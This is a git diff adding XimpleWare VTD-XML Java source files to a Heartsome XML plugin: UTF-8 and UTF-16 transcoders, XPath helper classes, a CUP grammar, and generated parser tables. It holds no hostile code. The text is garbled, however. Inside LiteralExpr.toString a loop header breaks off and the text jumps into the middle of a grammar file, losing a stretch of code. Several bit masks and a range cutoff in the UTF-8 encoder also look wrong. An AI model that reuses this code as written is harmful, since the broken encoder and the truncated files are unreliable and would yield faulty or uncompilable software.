l; + int temp = (input[offset+1] << 8) | input[offset]; + if (temp < 0xd800 || temp > 0xdfff) { + l = offset+2; + return (l<<32)|temp; + }else { + val = temp; + temp = (input[offset+3] << 8) | input[offset+2]; + val = ((temp - 0xd800) << 10) + (val - 0xdc00) + 0x10000; + l = offset+4; + return (l<<32)|temp; + } + } + + public static int getLen(int ch){ + if (ch <0x10000) + return 2; + else + return 4; + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/UTF8_Coder.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/UTF8_Coder.java new file mode 100644 index 0000000..a306653 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/transcode/UTF8_Coder.java @@ -0,0 +1,138 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.transcode; +import java.io.IOException; +import java.io.OutputStream; + +import com.ximpleware.*; +public class UTF8_Coder { + + /** + * Encode a UCS Char to a UTF-8 representation and write it into the output + * buffer + * @param output the output byte buffer + * @param offset offset value to which the UTF-8 bytes are written + * @param ch the UCS char to be encoded + * @return the offset value of the next char to be written + * + */ + public static int encode(byte[] output, int offset, int ch ){ + if (ch < 128){ + output[offset] = (byte)ch; + return offset+1; + } + if (ch < 0x800){ + output[offset]= (byte)(((ch & 0x7c0) >> 6) | 0xc0); + output[offset+1] = (byte)((ch & 0x3f) | 0x80); + return offset+2; + } + if (ch < 0xe000){ + output[offset]= (byte)(((ch & 0xf000) >> 12) | 0xe0); + output[offset+1] = (byte)(((ch & 0xfc) >> 6) | 0x80); + output[offset+2] = (byte)((ch & 0x3f) | 0x80); + return offset+3; + } + + output[offset]= (byte)(((ch & 0x1c0000) >> 18) | 0xf0); + output[offset+1] = (byte)(((ch & 0x3f0) >> 12) | 0x80); + output[offset+2] = (byte)(((ch & 0xfc) >> 6) | 0x80); + output[offset+3] = (byte)((ch & 0x3f) | 0x80); + + return offset+4; + } + + public static final void encodeAndWrite(OutputStream os, int ch) + throws IOException, TranscodeException { + if (ch < 128){ + os.write(ch); + return; + } + if (ch < 0x800){ + os.write(((ch & 0x7c0) >> 6) | 0xc0); + os.write((ch & 0x3f) | 0x80); + return; + } + if (ch < 0xe000){ + os.write(((ch & 0xf000) >> 12) | 0xe0); + os.write(((ch & 0xfc) >> 6) | 0x80); + os.write((ch & 0x3f) | 0x80); + return; + } + os.write(((ch & 0x1c0000) >> 18) | 0xf0); + os.write(((ch & 0x3f0) >> 12) | 0x80); + os.write(((ch & 0xfc) >> 6) | 0x80); + os.write((ch & 0x3f) | 0x80); + } + /** + * Decode a UTF-8 char in the input buffer + * @param input the byte array containing UTF-8 chars + * @return a long whose lower 32-bits is the char at the given offset + * upper 32-bits is the offset of next char in input + * + */ + public static long decode(byte[] input, int offset){ + long l = 0; + int c=0; + byte val = input[offset]; + if (val > 0){ + l = offset + 1; + return (l<<32) | val; + } + + if ((val & 0xe0 )== 0xc0){ + l = offset + 2; + c = (((int) (val& 0x1f))<< 6)| (input[offset+1] & 0x3f); + return (l<<32) | c; + } + + if ((val & 0xf0) == 0xe0){ + l = offset + 3; + c = (((int) (val& 0x0f))<<12) | + (((int)input[offset+1] & 0x3f)<<6) | + (input[offset+2] & 0x3f); + return (l<<32) | c; + } + + l = offset+4; + c = (((int) (val& 0x07))<<18) | + (((int)input[offset+1] & 0x3f)<<12) | + (((int)input[offset+2] & 0x3f)<< 6) | + (input[offset+3] & 0x3f); + + return (l<<32) | c; + } + + /** + * Get the length (in UTF-8 representation) of the UCS char at the offset value + * @param input + * @return a long whose upper 32-bits is next offset value + * and whose lower 32-bits is length in byte + * + */ + public static int getLen(int ch) throws TranscodeException{ + if (ch < 128) + return 1; + if (ch < 0x800) + return 2; + if (ch < 0xe000) + return 3; + if (ch < 0x10000) + return 4; + return 5; + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/Alist.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/Alist.java new file mode 100644 index 0000000..911b685 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/Alist.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.xpath; +import com.ximpleware.*; +/** + * + * This class implements the argumentList for FuncExpr + * which is basically a linked-list of expressions + */ +public class Alist { + + public Expr e; + public Alist next; + public Alist (){ + next = null; + } + final public String toString(){ + Alist temp = this; + String s = ""; + while(temp!=null){ + s = s+temp.e; + temp = temp.next; + if (temp!=null) + s = s+" ,"; + } + return s; + } + + final public void reset(VTDNav vn){ + Alist temp = this; + while(temp!=null){ + temp.e.reset(vn); + temp = temp.next; + } + } + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/AxisType.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/AxisType.java new file mode 100644 index 0000000..5116e92 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/AxisType.java @@ -0,0 +1,85 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.xpath; +/** + * + * This class is used by Yylex to detect axis type + * and transport to the parser + * + */ +public class AxisType{ + + public int i; + public static final int CHILD0=0;// more efficient than child + public static final int CHILD=1; + public static final int DESCENDANT_OR_SELF0=2; + public static final int DESCENDANT0=3; + + public static final int PRECEDING0 =4; + public static final int FOLLOWING0 =5; + public static final int DESCENDANT_OR_SELF=6; + public static final int DESCENDANT=7; + + public static final int PRECEDING =8; + public static final int FOLLOWING =9; + public static final int PARENT= 10; + public static final int ANCESTOR =11; + + public static final int ANCESTOR_OR_SELF =12; + public static final int SELF =13; + public static final int FOLLOWING_SIBLING =14; + public static final int FOLLOWING_SIBLING0 =15; + public static final int PRECEDING_SIBLING=16; + public static final int PRECEDING_SIBLING0=17; + + public static final int ATTRIBUTE = 18; + public static final int NAMESPACE =19; + + + + + + public AxisType (){ + } + + final public String getAxisString(){ + switch (i){ + case CHILD0: + case CHILD: return "child::"; + case DESCENDANT_OR_SELF0: return "descendant-or-self::"; + case DESCENDANT0: return "descendent::"; + case PRECEDING0: return "preceding::"; + case FOLLOWING0: return "following::"; + case DESCENDANT_OR_SELF: return "descendant-or-self::"; + case DESCENDANT: return "descendent::"; + case PRECEDING: return "preceding::"; + case FOLLOWING: return "following::"; + case PARENT: return "parent::"; + case ANCESTOR: return "ancestor::"; + case ANCESTOR_OR_SELF: return "ancestor-or-self::"; + case SELF: return "self::"; + case FOLLOWING_SIBLING: return "following-sibling::"; + case FOLLOWING_SIBLING0: return "following-sibling::"; + case PRECEDING_SIBLING: return "preceding-sibling::"; + case PRECEDING_SIBLING0: return "preceding-sibling::"; + case ATTRIBUTE: return "attribute::"; + default: return "namespace::"; + } + } + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/FuncName.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/FuncName.java new file mode 100644 index 0000000..ecf748b --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/FuncName.java @@ -0,0 +1,138 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.xpath; +/** + * + * This class is used by lexer to detect built-in functions + * then transport to the parser + */ +public class FuncName{ + public int i; + public static final int LAST = 0; + public static final int POSITION =1; + public static final int COUNT = 2; + public static final int LOCAL_NAME =3; + public static final int NAMESPACE_URI =4; + public static final int NAME=5; + public static final int STRING=6; + public static final int CONCAT = 7; + public static final int STARTS_WITH = 8; + public static final int CONTAINS = 9; + public static final int SUBSTRING_BEFORE = 10; + public static final int SUBSTRING_AFTER =11; + public static final int SUBSTRING = 12; + public static final int STRING_LENGTH =13; + public static final int NORMALIZE_SPACE =14; + public static final int TRANSLATE =15; + public static final int BOOLEAN =16; + public static final int NOT = 17; + public static final int TRUE =18; + public static final int FALSE =19; + public static final int LANG = 20; + public static final int NUMBER = 21; + public static final int SUM = 22; + public static final int FLOOR =23; + public static final int CEILING = 24; + public static final int ROUND = 25; + // added for 2.0 + public static final int ABS = 26; + public static final int ROUND_HALF_TO_EVEN = 27; + public static final int ROUND_HALF_TO_ODD = 28; + public static final int CODE_POINTS_TO_STRING = 29; + public static final int COMPARE = 30; + + public static final int UPPER_CASE = 31; + public static final int LOWER_CASE = 32; + public static final int ENDS_WITH = 33; + public static final int QNAME = 34; + public static final int LOCAL_NAME_FROM_QNAME = 35; + public static final int NAMESPACE_URI_FROM_QNAME = 36; + public static final int NAMESPACE_URI_FOR_PREFIX = 37; + public static final int RESOLVE_QNAME = 38; + public static final int IRI_TO_URI = 39; + public static final int ESCAPE_HTML_URI = 40; + public static final int ENCODE_FOR_URI = 41; + public static final int MATCH_NAME = 42; + public static final int MATCH_LOCAL_NAME = 43; + public static final int NOT_MATCH_NAME = 44; + public static final int NOT_MATCH_LOCAL_NAME = 45; + public static final int CURRENT =46; + public static final int GENERATE_ID = 47; + public static final int FORMAT_NUMBER = 48; + public static final int KEY = 49; + public static final int ID =50; + public static final int DOCUMENT =51; + public static final int SYSTEM_PROPERTY =52; + public static final int ELEMENT_AVAILABLE =53; + public static final int FUNCTION_AVAILABLE = 54; + +// String getFuncString(){ +// switch(i){ +// case FuncName.LAST: return "last"; +// case FuncName.POSITION: return "position"; +// case FuncName.COUNT: return "count"; +// case FuncName.LOCAL_NAME: return "local-name"; +// case FuncName.NAMESPACE_URI: return "namespace-uri"; +// case FuncName.NAME: return "name"; +// case FuncName.STRING: return "string"; +// case FuncName.CONCAT: return "concat"; +// case FuncName.STARTS_WITH: return "starts-with"; +// case FuncName.CONTAINS: return "contains"; +// case FuncName.SUBSTRING_BEFORE: return "substring-before"; +// case FuncName.SUBSTRING_AFTER: return "substring-after"; +// case FuncName.SUBSTRING: return "substring"; +// case FuncName.STRING_LENGTH: return "string-length"; +// case FuncName.NORMALIZE_SPACE: return "normalize-space"; +// case FuncName.TRANSLATE: return "translate"; +// case FuncName.BOOLEAN: return "boolean"; +// case FuncName.NOT: return "not"; +// case FuncName.TRUE: return "true"; +// case FuncName.FALSE: return "false"; +// case FuncName.LANG: return "lang"; +// case FuncName.NUMBER: return "number"; +// case FuncName.SUM: return "sum"; +// case FuncName.FLOOR: return "floor"; +// case FuncName.CEILING: return "ceiling"; +// case FuncName.ROUND: return "round"; +//// added for 2.0 +// case FuncName.ABS: return "abs"; +// case FuncName.ROUND_HALF_TO_EVEN : +// return "round-half-to-even"; +// case FuncName.ROUND_HALF_TO_ODD: +// return "round-half-to-odd"; +// case FuncName.CODE_POINTS_TO_STRING: +// return "code-points-to-string"; +// case FuncName.COMPARE: return "compare"; +// case FuncName.UPPER_CASE: return "upper-case"; +// case FuncName.LOWER_CASE: return "lower-case"; +// case FuncName.ENDS_WITH: return "ends-with"; +// case FuncName.QNAME: return "QName"; +// case FuncName.LOCAL_NAME_FROM_QNAME: +// return "local-name-from-QName"; +// case FuncName.NAMESPACE_URI_FROM_QNAME: +// return "namespace-uri-from-QName"; +// case FuncName.NAMESPACE_URI_FOR_PREFIX: +// return "namespace-uri-for-prefix"; +// case FuncName.RESOLVE_QNAME: return "resolve-QName"; +// case FuncName.IRI_TO_URI: return "iri-to-uri"; +// case FuncName.ESCAPE_HTML_URI: return "escape-html-uri"; +// default: return "encode-for-uri"; +// } +//} + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/LiteralExpr.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/LiteralExpr.java new file mode 100644 index 0000000..e02cb56 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/LiteralExpr.java @@ -0,0 +1,108 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.xpath; +import com.ximpleware.*; +/** + * This class represents a literal string XPath expression + * + */ +public class LiteralExpr extends Expr { + public String s; + public LiteralExpr (String st){ + s = st; + //cacheable =false; + } + final public String toString(){ + boolean b = true; + for(int i = 0;i1)){ + XSLScanner scanner = (XSLScanner)parser.getScanner(); + throw new XPathParseException(as.getAxisString()+" axis can't operate on"+ + " comment(), pi(), or text()", + scanner.getOffset()); + } + + RESULT.setNodeTest(nt); + RESULT.setPredicate(pl); + + //System.out.println(" Step 3 "); + + :} + | AbbreviatedStep:abs + {: RESULT = abs; + //System.out.println(" step 4"); + :} + ; + + +nodetest ::= NAME:n + {: RESULT = new NodeTest(); + RESULT.setTestType(NodeTest.NAMETEST); + RESULT.setNodeName(n.qname); + if (n.localname!=null){ + RESULT.setNodeNameNS(n.prefix,n.localname); + if (parser.nsHash==null || parser.nsHash.get(n.prefix) ==null) + throw new XPathParseException("No URL found for prefix:"+n.prefix); + RESULT.URL = (String) parser.nsHash.get(n.prefix); + } + :} + | NTEST:n2 + {: RESULT = new NodeTest(); + if (n2.i!=3) + RESULT.setTestType(n2.i); + else { + if (n2.arg ==null) + RESULT.setTestType(n2.i); //PI0 + else { + RESULT.setTestType(4); //PI1 + RESULT.setNodeName(n2.arg); + } + } + :} + ; + +PredicateList ::= + {: RESULT = null; + :} + | Predicate:p PredicateList:pl + {: p.nextP = pl; + RESULT = p; + :} + ; + +AxisSpecifier ::= AXISNAME:an + {: RESULT = an; :} + | AbbreviatedAxisSpecifier:aas + {: RESULT = aas; :} + ; + +AbbreviatedAxisSpecifier ::= + {: RESULT = new AxisType(); RESULT.i = AxisType.CHILD; :} + | AT + {: RESULT = new AxisType(); RESULT.i = AxisType.ATTRIBUTE; :} + ; + +AbbreviatedStep ::= DOT + {: RESULT = new Step(); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setAxisType(AxisType.SELF); + RESULT.setNodeTest(parser.tempNt); + :} + + | DDOT + {: RESULT = new Step(); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setAxisType(AxisType.PARENT); + RESULT.setNodeTest(parser.tempNt); + // System.out.println("result " + RESULT.toString()); + :} + ; + +AbbreviatedAbsoluteLocationPath ::= DSLASH RelativeLocationPath:rlp + {: + RESULT = new Step(); + RESULT.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setNodeTest(parser.tempNt); + RESULT.setNextStep(rlp); + rlp.setPrevStep(RESULT); + :} + ; + +AbbreviatedRelativeLocationPath ::= Step:s DSLASH RelativeLocationPath:rlp + {: RESULT = new Step(); + RESULT.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setNodeTest(parser.tempNt); + s.setNextStep(RESULT); + RESULT.setPrevStep(s); + RESULT.setNextStep(rlp); + rlp.setPrevStep(RESULT); + RESULT = s; + :} + ; + + +Predicate ::= LB Expr:e RB + {: RESULT = new Predicate(); + RESULT.expr= e; + :} + ; + + +VariableReference ::= DOLLAR NAME:n + {: + if (parser.symbolHash.get(n.qname)==null) + throw new XPathParseException("variableExpression not declared ==> $"+n.qname); + RESULT = new VariableExpr(n.qname, (Expr)parser.symbolHash.get(n.qname)); + :} + ; + +FunctionName ::= FNAME :fn + {: RESULT = fn; :} + ; +LocationPathFuncName ::= FNAME2 :fn2 + {: + RESULT= fn2; + :}; \ No newline at end of file diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/XSLParser.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/XSLParser.java new file mode 100644 index 0000000..fbd8741 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/XSLParser.java @@ -0,0 +1,1669 @@ +/* + * Copyright (C) 2002-2011 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +//---------------------------------------------------- +// The following code was generated by CUP v0.10k +// Fri Feb 11 18:18:03 PST 2011 +//---------------------------------------------------- + +package com.ximpleware.xpath; + +import java_cup.runtime.*; +import com.ximpleware.*; +import com.ximpleware.xpath.*; +import java.io.*; +import java.util.*; + +/** CUP v0.10k generated parser. + * @version Fri Feb 11 18:18:03 PST 2011 + */ +public class XSLParser extends java_cup.runtime.lr_parser { + + /** Default constructor. */ + public XSLParser() {super();} + + /** Constructor which sets the default scanner. */ + public XSLParser(java_cup.runtime.Scanner s) {super(s);} + + /** Production table. */ + protected static final short _production_table[][] = + unpackFromStrings(new String[] { + "\000\110\000\002\007\003\000\002\002\004\000\002\010" + + "\003\000\002\010\005\000\002\012\003\000\002\012\005" + + "\000\002\011\003\000\002\011\005\000\002\011\005\000" + + "\002\013\003\000\002\013\005\000\002\013\005\000\002" + + "\013\005\000\002\013\005\000\002\014\003\000\002\014" + + "\005\000\002\014\005\000\002\015\003\000\002\015\005" + + "\000\002\015\005\000\002\015\005\000\002\016\003\000" + + "\002\016\004\000\002\022\003\000\002\022\005\000\002" + + "\017\003\000\002\017\003\000\002\017\005\000\002\017" + + "\005\000\002\020\003\000\002\020\004\000\002\024\003" + + "\000\002\024\005\000\002\024\003\000\002\024\003\000" + + "\002\024\003\000\002\003\006\000\002\004\006\000\002" + + "\023\002\000\002\023\003\000\002\023\005\000\002\025" + + "\003\000\002\026\003\000\002\026\003\000\002\026\003" + + "\000\002\027\003\000\002\027\005\000\002\027\005\000" + + "\002\036\003\000\002\036\004\000\002\036\003\000\002" + + "\035\003\000\002\035\005\000\002\035\003\000\002\033" + + "\005\000\002\033\003\000\002\032\003\000\002\032\003" + + "\000\002\042\002\000\002\042\004\000\002\030\003\000" + + "\002\030\003\000\002\031\002\000\002\031\003\000\002" + + "\034\003\000\002\034\003\000\002\037\004\000\002\040" + + "\005\000\002\041\005\000\002\021\004\000\002\005\003" + + "\000\002\006\003" }); + + /** Access to production table. */ + public short[][] production_table() {return _production_table;} + + /** Parse-action table. */ + protected static final short[][] _action_table = + unpackFromStrings(new String[] { + "\000\154\000\040\005\050\006\022\007\020\010\045\012" + + "\017\025\004\026\006\035\042\036\034\037\041\040\026" + + "\041\025\042\uffc3\043\uffc3\044\046\001\002\000\062\002" + + "\uffd1\004\uffd1\005\uffd1\006\022\007\020\010\045\011\uffd1" + + "\013\uffd1\015\uffd1\016\uffd1\017\uffd1\020\uffd1\021\uffd1\022" + + "\uffd1\023\uffd1\024\uffd1\027\uffd1\030\uffd1\031\uffd1\032\uffd1" + + "\033\uffd1\042\uffc3\043\uffc3\044\046\001\002\000\032\002" + + "\ufffb\011\ufffb\013\ufffb\015\ufffb\016\133\017\132\020\135" + + "\021\134\022\ufffb\023\ufffb\031\ufffb\032\ufffb\001\002\000" + + "\016\006\022\007\020\010\045\042\uffc3\043\uffc3\044\046" + + "\001\002\000\046\002\uffcf\004\uffcf\005\uffcf\011\uffcf\013" + + "\uffcf\015\uffcf\016\uffcf\017\uffcf\020\uffcf\021\uffcf\022\uffcf" + + "\023\uffcf\024\uffcf\027\uffcf\030\uffcf\031\uffcf\032\uffcf\033" + + "\uffcf\001\002\000\054\002\uffde\004\uffde\005\uffde\011\uffde" + + "\013\uffde\014\uffde\015\uffde\016\uffde\017\uffde\020\uffde\021" + + "\uffde\022\uffde\023\uffde\024\uffde\025\uffde\026\uffde\027\uffde" + + "\030\uffde\031\uffde\032\uffde\033\uffde\001\002\000\006\042" + + "\151\043\147\001\002\000\016\002\uffff\011\uffff\013\uffff" + + "\015\uffff\031\145\032\uffff\001\002\000\006\042\uffc4\043" + + "\uffc4\001\002\000\014\002\001\011\001\013\001\015\001" + + "\032\143\001\002\000\046\002\uffd5\004\uffd5\005\uffd5\011" + + "\uffd5\013\uffd5\015\uffd5\016\uffd5\017\uffd5\020\uffd5\021\uffd5" + + "\022\uffd5\023\uffd5\024\uffd5\027\uffd5\030\uffd5\031\uffd5\032" + + "\uffd5\033\uffd5\001\002\000\022\002\ufffd\011\ufffd\013\ufffd" + + "\015\ufffd\022\127\023\130\031\ufffd\032\ufffd\001\002\000" + + "\040\005\050\006\022\007\020\010\045\012\017\025\004" + + "\026\006\035\042\036\034\037\041\040\026\041\025\042" + + "\uffc3\043\uffc3\044\046\001\002\000\052\002\uffc0\004\uffc0" + + "\005\uffc0\011\uffc0\013\uffc0\015\uffc0\016\uffc0\017\uffc0\020" + + "\uffc0\021\uffc0\022\uffc0\023\uffc0\024\uffc0\025\uffc0\026\uffc0" + + "\027\uffc0\030\uffc0\031\uffc0\032\uffc0\033\uffc0\001\002\000" + + "\046\002\uffd6\004\uffd6\005\uffd6\011\uffd6\013\uffd6\015\uffd6" + + "\016\uffd6\017\uffd6\020\uffd6\021\uffd6\022\uffd6\023\uffd6\024" + + "\uffd6\027\uffd6\030\uffd6\031\uffd6\032\uffd6\033\uffd6\001\002" + + "\000\052\002\uffc1\004\uffc1\005\uffc1\011\uffc1\013\uffc1\015" + + "\uffc1\016\uffc1\017\uffc1\020\uffc1\021\uffc1\022\uffc1\023\uffc1" + + "\024\uffc1\025\uffc1\026\uffc1\027\uffc1\030\uffc1\031\uffc1\032" + + "\uffc1\033\uffc1\001\002\000\036\002\ufff8\004\122\005\121" + + "\011\ufff8\013\ufff8\015\ufff8\016\ufff8\017\ufff8\020\ufff8\021" + + "\ufff8\022\ufff8\023\ufff8\031\ufff8\032\ufff8\001\002\000\044" + + "\002\ufff0\004\ufff0\005\ufff0\011\ufff0\013\ufff0\015\ufff0\016" + + "\ufff0\017\ufff0\020\ufff0\021\ufff0\022\ufff0\023\ufff0\024\ufff0" + + "\027\ufff0\030\ufff0\031\ufff0\032\ufff0\001\002\000\004\012" + + "\uffba\001\002\000\004\012\uffbb\001\002\000\004\012\116" + + "\001\002\000\052\002\uffce\004\uffce\005\uffce\011\uffce\013" + + "\uffce\015\uffce\016\uffce\017\uffce\020\uffce\021\uffce\022\uffce" + + "\023\uffce\024\uffce\025\113\026\112\027\uffce\030\uffce\031" + + "\uffce\032\uffce\033\uffce\001\002\000\046\002\uffe8\004\uffe8" + + "\005\uffe8\011\uffe8\013\uffe8\015\uffe8\016\uffe8\017\uffe8\020" + + "\uffe8\021\uffe8\022\uffe8\023\uffe8\024\uffe8\027\uffe8\030\uffe8" + + "\031\uffe8\032\uffe8\033\uffe8\001\002\000\054\002\uffe4\004" + + "\uffe4\005\uffe4\011\uffe4\013\uffe4\014\uffe4\015\uffe4\016\uffe4" + + "\017\uffe4\020\uffe4\021\uffe4\022\uffe4\023\uffe4\024\uffe4\025" + + "\uffe4\026\uffe4\027\uffe4\030\uffe4\031\uffe4\032\uffe4\033\uffe4" + + "\001\002\000\046\002\uffea\004\uffea\005\uffea\011\uffea\013" + + "\uffea\015\uffea\016\uffea\017\uffea\020\uffea\021\uffea\022\uffea" + + "\023\uffea\024\uffea\027\uffea\030\uffea\031\uffea\032\uffea\033" + + "\110\001\002\000\054\002\uffdf\004\uffdf\005\uffdf\011\uffdf" + + "\013\uffdf\014\uffdf\015\uffdf\016\uffdf\017\uffdf\020\uffdf\021" + + "\uffdf\022\uffdf\023\uffdf\024\uffdf\025\uffdf\026\uffdf\027\uffdf" + + "\030\uffdf\031\uffdf\032\uffdf\033\uffdf\001\002\000\054\002" + + "\uffe2\004\uffe2\005\uffe2\011\uffe2\013\uffe2\014\uffe2\015\uffe2" + + "\016\uffe2\017\uffe2\020\uffe2\021\uffe2\022\uffe2\023\uffe2\024" + + "\uffe2\025\uffe2\026\uffe2\027\uffe2\030\uffe2\031\uffe2\032\uffe2" + + "\033\uffe2\001\002\000\054\002\uffe7\004\uffe7\005\uffe7\011" + + "\uffe7\013\uffe7\014\103\015\uffe7\016\uffe7\017\uffe7\020\uffe7" + + "\021\uffe7\022\uffe7\023\uffe7\024\uffe7\025\102\026\101\027" + + "\uffe7\030\uffe7\031\uffe7\032\uffe7\033\uffe7\001\002\000\004" + + "\012\071\001\002\000\004\002\070\001\002\000\054\002" + + "\uffe0\004\uffe0\005\uffe0\011\uffe0\013\uffe0\014\uffe0\015\uffe0" + + "\016\uffe0\017\uffe0\020\uffe0\021\uffe0\022\uffe0\023\uffe0\024" + + "\uffe0\025\uffe0\026\uffe0\027\uffe0\030\uffe0\031\uffe0\032\uffe0" + + "\033\uffe0\001\002\000\004\043\067\001\002\000\046\002" + + "\uffcc\004\uffcc\005\uffcc\011\uffcc\013\uffcc\015\uffcc\016\uffcc" + + "\017\uffcc\020\uffcc\021\uffcc\022\uffcc\023\uffcc\024\uffcc\027" + + "\uffcc\030\uffcc\031\uffcc\032\uffcc\033\uffcc\001\002\000\052" + + "\002\uffca\004\uffca\005\uffca\011\uffca\013\uffca\015\uffca\016" + + "\uffca\017\uffca\020\uffca\021\uffca\022\uffca\023\uffca\024\uffca" + + "\025\uffca\026\uffca\027\uffca\030\uffca\031\uffca\032\uffca\033" + + "\uffca\001\002\000\006\042\uffc2\043\uffc2\001\002\000\006" + + "\042\uffc5\043\uffc5\001\002\000\044\002\uffec\004\uffec\005" + + "\uffec\011\uffec\013\uffec\015\uffec\016\uffec\017\uffec\020\uffec" + + "\021\uffec\022\uffec\023\uffec\024\uffec\027\uffec\030\uffec\031" + + "\uffec\032\uffec\001\002\000\040\005\050\006\022\007\020" + + "\010\045\012\017\025\004\026\006\035\042\036\034\037" + + "\041\040\026\041\025\042\uffc3\043\uffc3\044\046\001\002" + + "\000\052\002\uffd4\004\uffd4\005\uffd4\011\uffd4\013\uffd4\015" + + "\uffd4\016\uffd4\017\uffd4\020\uffd4\021\uffd4\022\uffd4\023\uffd4" + + "\024\uffd4\025\063\026\062\027\uffd4\030\uffd4\031\uffd4\032" + + "\uffd4\033\uffd4\001\002\000\044\002\ufff3\004\ufff3\005\ufff3" + + "\011\ufff3\013\ufff3\015\ufff3\016\ufff3\017\ufff3\020\ufff3\021" + + "\ufff3\022\ufff3\023\ufff3\024\055\027\056\030\054\031\ufff3" + + "\032\ufff3\001\002\000\046\002\uffd7\004\uffd7\005\uffd7\011" + + "\uffd7\013\uffd7\015\uffd7\016\uffd7\017\uffd7\020\uffd7\021\uffd7" + + "\022\uffd7\023\uffd7\024\uffd7\027\uffd7\030\uffd7\031\uffd7\032" + + "\uffd7\033\uffd7\001\002\000\040\005\050\006\022\007\020" + + "\010\045\012\017\025\004\026\006\035\042\036\034\037" + + "\041\040\026\041\025\042\uffc3\043\uffc3\044\046\001\002" + + "\000\040\005\050\006\022\007\020\010\045\012\017\025" + + "\004\026\006\035\042\036\034\037\041\040\026\041\025" + + "\042\uffc3\043\uffc3\044\046\001\002\000\040\005\050\006" + + "\022\007\020\010\045\012\017\025\004\026\006\035\042" + + "\036\034\037\041\040\026\041\025\042\uffc3\043\uffc3\044" + + "\046\001\002\000\044\002\uffee\004\uffee\005\uffee\011\uffee" + + 